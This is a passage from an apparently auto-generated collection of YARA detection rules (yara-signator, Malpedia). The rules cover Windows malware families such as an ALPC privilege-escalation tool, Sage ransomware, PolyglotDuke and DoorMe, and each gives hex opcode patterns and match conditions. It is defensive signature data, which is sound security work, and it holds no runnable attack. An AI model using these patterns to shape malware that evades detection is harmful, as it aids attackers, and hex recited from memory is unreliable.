		$sequence_12 = { 01bdacf7ffff 83c40c 83bdc8f7ffff00 8b95c8f7ffff }
		$sequence_13 = { 01d8 3b85b0f7ffff 7e2f 8b95c8f7ffff }
		$sequence_14 = { 8d48ff 39c2 890d???????? 0f8e93240000 }
		$sequence_15 = { 8d48ff 2de13d1921 8985e0f8ffff db85e0f8ffff }
		$sequence_16 = { 01d7 68???????? 57 e8???????? }
		$sequence_17 = { 8d48ff 39c2 898db4f8ffff 0f8e3d0f0000 }
		$sequence_18 = { 01c6 ebdb ff7510 57 }
		$sequence_19 = { 01c9 4a 79f2 833b54 }
		$sequence_20 = { 8d48ff 2dbb4fb754 39c2 66890d???????? }
		$sequence_21 = { 8d48ff 39c2 898dc8feffff 0f8ebb010000 }
	condition:
		7 of them and filesize < 1875968
}

rule MALPEDIA_Win_Alpc_Lpe_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "9201dab6-c827-5ba9-b6a2-6cc5f0b64e34"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.alpc_lpe"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.alpc_lpe_auto.yar#L1-L128"
		license_url = "N/A"
		logic_hash = "f47b6095e2a1dadfd3fc285c90742ae34b69859fcd8b2fa148af803fa48f9175"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 33c9 0f1f440000 0fb70429 4883c102 6689440ffc 6685c0 }
		$sequence_1 = { 48894540 c7455040000000 48c7454800000000 48c7455800000000 48c7456000000000 48c785c800000000000000 c785e800000000000000 }
		$sequence_2 = { 488bfc b932000000 b8cccccccc f3ab 488b8c24e8000000 488b85e0000000 488b4008 }
		$sequence_3 = { 488b8d00010000 e8???????? 488b8dd8000000 488bd1 488bc8 e8???????? }
		$sequence_4 = { 488d1d5c8e0000 8bf7 488b2b 4885ed 741b 837b0801 7415 }
		$sequence_5 = { 488bec 488bfc b932000000 b8cccccccc f3ab 488b8c24e8000000 488b85e0000000 }
		$sequence_6 = { 488b8d08010000 488908 48837d0800 7418 488b8d00010000 e8???????? }
		$sequence_7 = { 83f8ff 7526 4c8d2587860000 493bdc }
		$sequence_8 = { b8cccccccc f3ab 488b8c24e8000000 488b85e0000000 48c70000000000 488b85e0000000 488da5c8000000 }
		$sequence_9 = { 4c8b8500010000 488bd0 488d0d60b20000 e8???????? 48894508 8b4508 8bf8 }
	condition:
		7 of them and filesize < 540672
}

rule MALPEDIA_Win_Unidentified_105_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "3a3e23fc-74b8-538e-83ea-6f636ca69973"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_105"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_105_auto.yar#L1-L116"
		license_url = "N/A"
		logic_hash = "f4fc15196e62980ff75ec5048526dde4db7767af139fed75b0b1419b85a6dee5"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? 6800100000 8bf0 57 56 }
		$sequence_1 = { 6a00 8d8dd0feffff 51 8d95fcfeffff }
		$sequence_2 = { e8???????? 8bd8 83c404 53 8bce }
		$sequence_3 = { e8???????? 6800002000 8bf8 6a00 57 897df4 }
		$sequence_4 = { 8a08 40 84c9 75f9 2bc2 6a02 8d4c30fe }
		$sequence_5 = { 85c0 750d 68???????? e8???????? 83c404 8b8df0efffff }
		$sequence_6 = { 8b742414 83c404 b9???????? 8bc6 8d642400 }
		$sequence_7 = { 8b3d???????? 8d45e4 50 33f6 }
		$sequence_8 = { eb13 83f801 750e a1???????? }
		$sequence_9 = { 8b85f4efffff 83c40c 6a00 8d8decefffff 51 6800100000 }
	condition:
		7 of them and filesize < 253952
}

rule MALPEDIA_Win_Ratankbapos_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "c30c3afc-d593-5fd1-9897-681a89fdb715"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ratankbapos"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ratankbapos_auto.yar#L1-L120"
		license_url = "N/A"
		logic_hash = "9d94248f5eeb0fe7fd704ad2035548b948a3d89033ce9c65e0f71221072d6968"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 33c5 8945f8 56 8b7508 85f6 0f8413010000 }
		$sequence_1 = { ff15???????? 8bf0 8d4dcc 897304 }
		$sequence_2 = { 0fbec2 0fbe8040010110 83e00f eb02 33c0 0fbe84c160010110 }
		$sequence_3 = { c1f905 8b0c8de04d0110 83e01f c1e006 f644080401 }
		$sequence_4 = { eb05 1bc0 83d8ff 85c0 7508 8d8646b10000 }
		$sequence_5 = { 83e203 83f908 7229 f3a5 ff249590490010 }
		$sequence_6 = { 40 3acb 75f9 2bc6 3bd0 72dc }
		$sequence_7 = { 8b5518 50 8b4514 51 8b4d08 52 50 }
		$sequence_8 = { e8???????? 8b4da4 8945c8 c6040800 }
		$sequence_9 = { 0fbe8040010110 83e00f eb02 33c0 0fbe84c160010110 6a07 c1f804 }
	condition:
		7 of them and filesize < 327680
}

rule MALPEDIA_Win_Mikoponi_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "de82eebe-f707-5dc6-9c33-0ae7d7821633"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mikoponi"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mikoponi_auto.yar#L1-L107"
		license_url = "N/A"
		logic_hash = "8f3a24b96a22a4d512e188ba3c40bc90dbbbc4bf56cf9ed6cddde59c392fa78b"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b07 50 e8???????? 83c404 5e 5b 5d }
		$sequence_1 = { 57 e8???????? 2bc7 d1f8 8d742420 }
		$sequence_2 = { e9???????? 68f4010000 56 ff15???????? 8bf8 e8???????? e9???????? }
		$sequence_3 = { ff15???????? 8b442468 89442414 89442418 33c0 89442430 }
		$sequence_4 = { b9???????? 8d442440 668b10 663b11 751e }
		$sequence_5 = { e8???????? 83c408 8d4c2414 51 57 }
		$sequence_6 = { 81c470040000 c3 68???????? 68???????? ff15???????? 50 ff15???????? }
		$sequence_7 = { e8???????? 68???????? e8???????? 68???????? e8???????? 8b7c2420 57 }
	condition:
		7 of them and filesize < 330752
}

rule MALPEDIA_Win_Tokyox_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "d34e4ceb-0bc2-5477-9c12-3a529f2527e6"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tokyox"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tokyox_auto.yar#L1-L121"
		license_url = "N/A"
		logic_hash = "a5f77c70b1ac6566e10c0515d32c74e5ec77d8ebaa8bcecbb1bfc331f53b6f71"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ff15???????? 85c0 0f84b6010000 8d4590 }
		$sequence_1 = { e8???????? 8b4508 83c40c b90d0a0000 66890c07 }
		$sequence_2 = { c745f450726f64 50 6a00 8d45f4 c745f87563744e }
		$sequence_3 = { 0f842e020000 8d4df0 c745fc00000000 51 }
		$sequence_4 = { 8d45f8 50 6a05 ff7608 ffd7 6a3c ff7510 }
		$sequence_5 = { 51 56 6a00 68e9fd0000 ff15???????? 8945e4 33db }
		$sequence_6 = { 7534 83f801 721f 66a1???????? 8d5601 }
		$sequence_7 = { 8bec a1???????? 3b05???????? 0f85a10f0000 ff7508 e8???????? 59 }
		$sequence_8 = { 8bf2 c745a046003400 c745a435003000 c745a831002d00 c745ac46003400 c745b034004700 c745b42d003400 }
		$sequence_9 = { ff15???????? 894608 85c0 754e ff15???????? 8b4e08 }
	condition:
		7 of them and filesize < 237568
}

rule MALPEDIA_Win_Polyglotduke_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "5c295965-8bd5-593f-b721-c3ba45184139"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.polyglotduke"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.polyglotduke_auto.yar#L1-L125"
		license_url = "N/A"
		logic_hash = "02803fa0214e774a255c3af744ecd162ea9c7b022e39aa2c1104c52737c743df"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 488bcb 4803f7 e8???????? eb38 488d0d190f0100 e8???????? b905000000 }
		$sequence_1 = { f6431840 4c8d0d0269ffff 0f85a5000000 488bcb e8???????? 488d15fdd30000 413bc6 }
		$sequence_2 = { 4c8bf8 e8???????? 488d0d86d20000 4c8bf0 e8???????? 488d0d7fd20000 4c8be8 }
		$sequence_3 = { 48894608 4803c8 e8???????? 8b54244c }
		$sequence_4 = { 8a4f02 4c8bf0 884803 488bcf e8???????? 8b06 }
		$sequence_5 = { 4c8d0d35db0000 33c0 498bd1 448d4008 3b0a 742b ffc0 }
		$sequence_6 = { ff15???????? 488b5c2430 488bcb 8d78fb ff15???????? 03c7 }
		$sequence_7 = { 498bd5 498bce ff15???????? 33ff }
		$sequence_8 = { 7e74 817d0063736de0 7528 48833d????????00 741e 488d0d79db0000 }
		$sequence_9 = { e9???????? 488bca ff15???????? 83f847 75eb 488bcd ff15???????? }
	condition:
		7 of them and filesize < 222784
}

rule MALPEDIA_Win_Nimrev_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "45a43e4c-b390-5a59-8f10-bde6512a2548"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nimrev"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nimrev_auto.yar#L1-L119"
		license_url = "N/A"
		logic_hash = "cfe876922fc1333031ee5c82f8f6e15e7c6a81cc34499037bfc98c907bd66dbf"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8845ef eb01 90 807def00 }
		$sequence_1 = { 0fb600 3c5f 7507 b801000000 }
		$sequence_2 = { 3c7d 7407 b801000000 eb05 }
		$sequence_3 = { 7507 b801000000 eb05 b800000000 8845f7 eb01 90 }
		$sequence_4 = { 0fb600 3c7d 7407 b801000000 eb05 b800000000 }
		$sequence_5 = { ffd0 90 e9???????? 90 b9d0070000 }
		$sequence_6 = { c1e002 01d0 01c0 29c1 89c8 83c030 89c1 }
		$sequence_7 = { 89c2 89d0 c1e002 01d0 01c0 29c1 89c8 }
		$sequence_8 = { 83f001 84c0 7408 90 e8???????? eb01 }
		$sequence_9 = { 0f9ec0 8845ef eb01 90 807def00 }
	condition:
		7 of them and filesize < 1141760
}

rule MALPEDIA_Win_Rook_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "260fb3cd-c612-5c83-b4f7-79756559f934"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rook"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rook_auto.yar#L1-L128"
		license_url = "N/A"
		logic_hash = "c73a208061affa8ef6930cc993d1e8f8eb5228d371bb421012877d9aae5cbf16"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ffc3 4883c708 83fb22 72df 498bd6 488bcd ff15???????? }
		$sequence_1 = { 0f8521ffffff 44882b eb7b 488b9540070000 4c8d05979e0000 498bce }
		$sequence_2 = { 33d2 ff15???????? 488b0d???????? 4d8bc7 33d2 ff15???????? 833d????????00 }
		$sequence_3 = { ff15???????? 488bce e8???????? 488d542440 488bcd ff15???????? 85c0 }
		$sequence_4 = { 4883ec38 488d05f5990000 41b91b000000 4889442420 e8???????? 4883c438 c3 }
		$sequence_5 = { 498bd6 4d8d8115cc0400 4d03c4 0f1f4000 410fb64410ff 3cff 740b }
		$sequence_6 = { c605????????63 4c8d250099ffff b8ff000000 4d8d4901 }
		$sequence_7 = { 498bcd 4c89bc2458270000 ff15???????? 488b0d???????? 4d8bc5 33d2 4c8be0 }
		$sequence_8 = { 8bd9 4c8d0dddce0000 b904000000 4c8d05c9ce0000 488d15b2bb0000 e8???????? }
		$sequence_9 = { 4863c8 4c8d4c2450 48894c2420 e8???????? 488d4c2450 ff15???????? }
	condition:
		7 of them and filesize < 843776
}

rule MALPEDIA_Win_Doorme_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "a443311b-0d69-50e1-b7af-6bea174db5b1"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.doorme"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.doorme_auto.yar#L1-L129"
		license_url = "N/A"
		logic_hash = "9459417024dba9c22cb08f7485ab12bc8f994d94a97e4b89e9d80101a9a838df"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 817d0063736de0 7528 48833d????????00 741e 488d0d70e50100 e8???????? 85c0 }
		$sequence_1 = { 488bd8 488d9530010000 4883bd4801000010 480f439530010000 498b07 4c8d85e8000000 }
		$sequence_2 = { 483bf8 7730 488d041f 48894548 488d4538 4983fe10 480f434538 }
		$sequence_3 = { e8???????? 49897f10 49c747180f000000 41c60700 498b5618 4883fa10 0f82adfeffff }
		$sequence_4 = { 4532d1 44881408 418d4001 440fb60c08 8d4705 4432cd }
		$sequence_5 = { 488bd8 4885db 488d0571b80100 488d4f58 480f44d8 488bd3 488b5c2430 }
		$sequence_6 = { 48c7c03f000000 23c1 488d0d4abb0100 f20f5904c1 f20f5804c1 660f72e406 660f73f434 }
		$sequence_7 = { e8???????? 488b5c2430 4883c420 5f c3 4883ec28 4c8d0d0d660100 }
		$sequence_8 = { 488d0538030300 49894408f0 488b07 4c634004 }
		$sequence_9 = { 48894308 48895e40 48897e48 48896e50 488bce e8???????? 884658 }
	condition:
		7 of them and filesize < 580608
}

rule MALPEDIA_Win_Threebyte_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "799d81f4-c3a7-51cd-8c7b-153e88acd8dd"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.threebyte"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.threebyte_auto.yar#L1-L128"
		license_url = "N/A"
		logic_hash = "2ca2547a0ff0213816f73a796ceafd61c5b00d7d4af221dfd97f4e43556e0e8c"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b9598fbffff 52 8d859cfbffff 50 8d8d4cf7ffff 51 8d956cf7ffff }
		$sequence_1 = { 6a20 68cc000000 8d8de0fdffff 51 e8???????? 83c40c }
		$sequence_2 = { c68531faffff6d c68532faffff65 c68533faffff00 8d8d28faffff 51 8b95a8faffff 52 }
		$sequence_3 = { 52 8d8544feffff 50 8d8dccfeffff 51 e8???????? }
		$sequence_4 = { ff15???????? 8d95ccfcffff 52 8d8510f8ffff 50 8d8dd0fdffff 51 }
		$sequence_5 = { c685b1fdffff00 ff15???????? 50 8d8d94fdffff 51 }
		$sequence_6 = { 81bda4f7fffff6010000 7507 b8faffffff eb05 b8f9ffffff 5f 8be5 }
		$sequence_7 = { e8???????? 83c404 e9???????? 6a02 6a00 6a00 8b95d0fdffff }
		$sequence_8 = { 50 e8???????? 83c408 89853cffffff 83bd3cffffff00 }
		$sequence_9 = { 3b4d0c 7d15 8b5508 33c0 8a02 8945e0 8b4d08 }
	condition:
		7 of them and filesize < 180224
}

rule MALPEDIA_Win_Mocton_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "9f4f983b-9c6b-508d-9490-50b17ee1d0df"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mocton"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mocton_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "16b135f602d0bf1d0d71eee14e2cd809b4b69481edc54d1e4a70e6527694874b"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b4d10 e8???????? 8985e4e8ffff 8b85e4e8ffff 2b45a4 3b45dc 7202 }
		$sequence_1 = { 83e801 8945d4 8b4dd4 0faf4de8 8b55e4 c1fa05 69d271460389 }
		$sequence_2 = { 8b9524fcffff 69d2a44539db 33c0 81fa35ac0e36 0f9cc0 355ba30c98 7461 }
		$sequence_3 = { 2b45e4 33c9 3d6b76f951 0f9dc1 33d1 742c 8b55e4 }
		$sequence_4 = { 8b95c8e9ffff 83c201 8995c8e9ffff eb4e 8b85c0e9ffff 83e801 8985c0e9ffff }
		$sequence_5 = { 83c104 894df8 8b55f8 3b55cc 0f8475060000 c745ac5aee3273 8b45ac }
		$sequence_6 = { c745c842fc81f2 c7459cea0bbd91 c745b0238aa931 8b55c8 c1fa03 0faf55b0 b886628d96 }
		$sequence_7 = { 898d70feffff 8b9570feffff 81c28029ab41 33c0 399570feffff 0f9dc0 338570feffff }
		$sequence_8 = { 0355e4 8b45e4 d1f8 33c9 3b45e4 0f9ec1 33ca }
		$sequence_9 = { 33d2 3b8d8cfdffff 0f9cc2 81e2d70a7b03 81f21da6f69d 7419 8b854cfdffff }
	condition:
		7 of them and filesize < 573440
}

rule MALPEDIA_Win_Skinnyboy_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "24a64f43-deef-557c-9fd6-67c28ce40905"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.skinnyboy"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.skinnyboy_auto.yar#L1-L127"
		license_url = "N/A"
		logic_hash = "e1fe3c77c85dc8fb19abbee4d29db040d7e39adcf95610e368b642b3c9a51b2e"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 85c0 7403 50 ffd7 ffd3 6a00 }
		$sequence_1 = { 0fb68098b20010 83e00f eb02 33c0 8bbdc4fdffff 6bc009 0fb6bc38b8b20010 }
		$sequence_2 = { 668b444de4 6631444dd0 41 3bca 72f1 33c0 }
		$sequence_3 = { 8d8278040110 8945e4 803800 8bc8 7435 8a4101 84c0 }
		$sequence_4 = { 833cfdd80b011000 7515 68a00f0000 56 ff15???????? }
		$sequence_5 = { 50 ffd6 8b85e0feffff 85c0 7403 50 }
		$sequence_6 = { ffb55cfbffff ff15???????? 85c0 0f85d2feffff ffb55cfbffff ff15???????? ff33 }
		$sequence_7 = { ff15???????? 8bf0 6a01 56 ff15???????? 8d4c2420 51 }
		$sequence_8 = { 7413 8a8c1564feffff 308c15e4feffff 42 3bd0 72ed }
		$sequence_9 = { ff15???????? 8d442430 50 ff15???????? 85c0 742d }
	condition:
		7 of them and filesize < 176128
}

rule MALPEDIA_Win_Sage_Ransom_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "ee390467-2b1f-5dff-a025-ffcdbd989eda"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sage_ransom"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sage_ransom_auto.yar#L1-L162"
		license_url = "N/A"
		logic_hash = "f697fb2bbef92176cedab9ef91a434357e32fdc073b94b3d51cf50581ce561f1"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 01442410 ff15???????? 8bc8 8b442410 2b4c2438 }
		$sequence_1 = { 755b 6683780200 7554 6aff ff15???????? 85c0 }
		$sequence_2 = { c1e910 0fb74c4c18 c1e010 0bc8 8bd1 }
		$sequence_3 = { 837c241000 750b 837c241400 0f84d8000000 8b442410 be00000200 3bc6 }
		$sequence_4 = { bbfdffffff 8d4c240c 51 e8???????? 8d54241c 52 }
		$sequence_5 = { 56 57 6af5 ff15???????? 8b15???????? 83c204 52 }
		$sequence_6 = { 6a41 56 52 e8???????? 56 }
		$sequence_7 = { 8bf1 33d2 3bf7 732a 8a06 }
		$sequence_8 = { 014110 8b4314 014114 8b4318 }
		$sequence_9 = { 014108 8b430c 01410c 8b4310 }
		$sequence_10 = { 01410c 8b4310 014110 8b4314 }
		$sequence_11 = { 891c24 89442404 e8???????? 8d964ba20000 c744240879020000 }
		$sequence_12 = { 014114 8b4318 014118 8b431c }
		$sequence_13 = { 013c13 83c102 46 ebd3 }
		$sequence_14 = { 0101 8b4304 014104 8b4308 014108 }
		$sequence_15 = { 0119 117104 83c110 83c210 }
	condition:
		7 of them and filesize < 335872
}

rule MALPEDIA_Win_Void_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "941d9913-0086-5f92-b6d2-4c2b84e02b90"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.void"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.void_auto.yar#L1-L114"
		license_url = "N/A"
		logic_hash = "0a42c2ab7a2695a1845afe0b2eb12bba423d7c94d695c9222413c48eaaabdfac"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 83e001 0f840c000000 8365ecfe 8d4db8 e9???????? c3 8d8dd4feffff }
		$sequence_1 = { 8b4564 83e004 0f840c000000 836564fb 8d4dac e9???????? c3 }
		$sequence_2 = { 6a02 8d4d48 e8???????? 8d4548 c745fc02000000 bb01000000 8bce }
		$sequence_3 = { 7504 c645f301 8d4db8 c745fcffffffff e8???????? 807df300 0f8569060000 }
		$sequence_4 = { 83e914 e9???????? 83e918 e9???????? 83e93c e9???????? 83e904 }
		$sequence_5 = { 50 8d4dd8 e8???????? 8d45d8 8d732c 50 8bce }
		$sequence_6 = { 50 8bcf e8???????? 8d8d64ffffff c645fc0c e8???????? 33f6 }
		$sequence_7 = { 0f8510010000 8b85b8feffff 66c745840100 889d71ffffff c78578ffffff00000000 8b4004 8b8c05f0feffff }
	condition:
		7 of them and filesize < 2744320
}

rule MALPEDIA_Win_Agfspy_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "4e342af2-55f5-5fdc-91a0-c4e1164ec1ad"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.agfspy"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.agfspy_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "2c968cb953938166f8c4bb13e44158b837061eedd931abcb024c0888547d30a4"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8901 8b0b 85c9 7405 8b01 ff5010 8933 }
		$sequence_1 = { 8bc6 8b4d0c 890e 8b4d10 5f 894e04 5e }
		$sequence_2 = { c744c81000000000 8d2cc8 8b4c241c c7451400000000 0f1001 0f114500 f30f7e4110 }
